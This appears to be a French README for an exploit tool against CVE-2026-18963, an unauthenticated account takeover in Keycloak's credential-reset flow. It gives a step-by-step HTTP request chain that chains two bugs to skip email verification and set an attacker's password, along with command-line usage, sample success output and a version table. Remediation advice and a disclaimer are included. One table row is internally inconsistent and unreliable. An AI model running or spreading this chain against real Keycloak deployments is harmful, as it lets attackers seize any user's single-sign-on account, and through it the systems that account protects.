
Exploit pour CVE-2026-18963, une prise de contrôle de compte non authentifiée critique dans le flux de réinitialisation des identifiants de Keycloak, enchaînant deux bogues pour contourner la vérification par e-mail et définir un nouveau mot de passe.
CVSS 9.1 Critique · Keycloak 26.0.0 – 26.7.1 · Non authentifié
Une vulnérabilité critique dans le flux de réinitialisation des identifiants de Keycloak qui permet à un attaquant non authentifié de prendre le contrôle de n'importe quel compte utilisateur sans vérification par e-mail en enchaînant deux bugs dans la gestion de la session d'authentification.
| Champ | Valeur |
|---|
| CVE | CVE-2026-18963 |
| Score CVSS | 9.1 (Critique) |
| Vecteur CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| CWE | CWE-640 — Mécanisme de récupération de mot de passe faible |
| Versions affectées | Keycloak 26.0.0 – 26.7.1 |
| Versions corrigées | 26.4.15 / 26.6.6 / 26.7.2 / 26.8.0 |
| Composant | keycloak-services (flux de réinitialisation des identifiants) |
| Référence | https://github.com/keycloak/keycloak/issues/51833 |
Deux bugs sont enchaînés :
Bug 1 — Le gestionnaire tryAnotherWay stocke la note
AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true" dans la session d'authentification sans la limiter à un identifiant d'exécution.
Bug 2 — ResetCredentialEmail.action() appelle context.success() (en contournant entièrement la vérification par e-mail) dès que cette note est présente, sans vérifier ACTION_TOKEN_USER_ID.
1. GET /realms/{realm}/protocol/openid-connect/auth
→ Établir une session OIDC, extraire le lien mot de passe oublié
2. GET /login-actions/reset-credentials?...
→ Charger le formulaire de réinitialisation des identifiants
3. POST tryAnotherWay=on
→ Définit la note AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED (Bug 1)
4. POST username={cible} → formulaire du sélecteur
→ Lie l'utilisateur cible à la session d'authentification, déclenche l'étape e-mail
5. GET /login-actions/restart?...
→ Optionnel : refléter le sondage de session du navigateur
6. GET /login-actions/reset-credentials?... (même URL qu'à l'étape 2)
→ La note du sélecteur obsolète est toujours présente → le sélecteur d'identifiants réapparaît
7. POST username={cible} → sélecteur obsolète
→ ResetCredentialEmail voit la note, appelle context.success() (Bug 2)
→ Le flux avance directement vers UPDATE_PASSWORD — aucun e-mail envoyé
8. POST password-new={mot_de_passe_attaquant}
→ Compte pris en contrôle
python3 -m pip install requests
python3 exploit_cve_2026_18963.py \
--url https://target.com \
--realm master \
--username [email protected] \
--new-password NewPass123!
--url URL de base Keycloak (obligatoire)
--realm Realm cible (défaut : master)
--username Nom d'utilisateur ou e-mail du compte à prendre en contrôle (obligatoire)
--new-password Mot de passe à définir sur le compte cible (obligatoire)
--client-id ID client OIDC (défaut : account)
--auth-prefix auto | new | old
auto = détection automatique (défaut)
new = /realms/... (Keycloak >= 17)
old = /auth/realms/... (Keycloak < 17)
-v, --verbose Afficher la trace HTTP complète
--skip-version-check
# Détection automatique de l'ancien/nouveau préfixe d'URL Keycloak
python3 exploit_cve_2026_18963.py \
--url https://sso.example.com \
--realm myrealm \
--username [email protected] \
--new-password Pwn3d2026!
# Forcer le préfixe /auth hérité (Keycloak < 17)
python3 exploit_cve_2026_18963.py \
--url https://sso.example.com \
--realm myrealm \
--username [email protected] \
--new-password Pwn3d2026! \
--auth-prefix old
# Trace HTTP détaillée
python3 exploit_cve_2026_18963.py \
--url https://sso.example.com \
--realm myrealm \
--username [email protected] \
--new-password Pwn3d2026! \
-v
CVE-2026-18963 | Prise de contrôle de compte non authentifiée Keycloak
Utilisateur : [email protected]
[Étape 0] Détection de la version et du préfixe de chemin
[+] Préfixe de chemin : '/auth' → détecté
[?] Version non détectée — poursuite quand même.
Cible : https://sso.example.com/auth/realms/myrealm
[Étape 1] Ouverture du formulaire de réinitialisation des identifiants via le lien OIDC mot de passe oublié
[+] Session OIDC établie
[+] Formulaire de réinitialisation des identifiants chargé
[Étape 2] POST tryAnotherWay=on → définition de la note du sélecteur (Bug 1)
[+] Formulaire du sélecteur d'identifiants reçu
[Étape 3] POST username='[email protected]' → liaison de l'utilisateur, déclenchement de l'étape e-mail
[+] Étape e-mail déclenchée — URL de sondage de session trouvée
[Étape 4] GET du chemin de sondage de session (optionnel)
[Étape 5] Nouvelle visite de l'URL mot de passe oublié → obtention du sélecteur obsolète
[+] Formulaire du sélecteur d'identifiants obsolète reçu
[Étape 6] POST username vers le sélecteur obsolète → déclenchement du contournement (Bug 2)
[+] CONTOURNEMENT RÉUSSI — formulaire de mise à jour du mot de passe reçu
[Étape 7] Définition du nouveau mot de passe
============================================================
[+] SUCCÈS — Prise de contrôle du compte terminée
[+] Cible : https://sso.example.com/auth/realms/myrealm
[+] Utilisateur : [email protected]
[+] Mot de passe : Pwn3d2026!
============================================================
| Version Keycloak | Préfixe d'URL | Vulnérable |
|---|---|---|
| < 17.x | /auth/realms/ | ✅ si plage 26.x |
| ≥ 17.x | /realms/ | ✅ si < 26.7.2 |
| 26.4.15+ / 26.6.6+ / 26.7.2+ / 26.8.0+ | quelconque | ❌ Corrigé |
Le script détecte automatiquement si la cible utilise le préfixe /auth/ hérité ou le chemin moderne, il fonctionne donc à la fois contre les anciens et les nouveaux déploiements sans configuration manuelle.
Correctif (recommandé) : Mettre à niveau vers l'une des versions corrigées :
26.4.15 ou ultérieure dans la branche 26.4.x26.6.6 ou ultérieure dans la branche 26.6.x26.7.2 ou ultérieure dans la branche 26.7.x26.8.0 ou ultérieureContournement temporaire : Désactiver Mot de passe oublié sur tous les realms :
Realm Settings → Login → Forgot Password → OFF
Cet outil est destiné uniquement aux tests de sécurité autorisés et à des fins éducatives. Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test.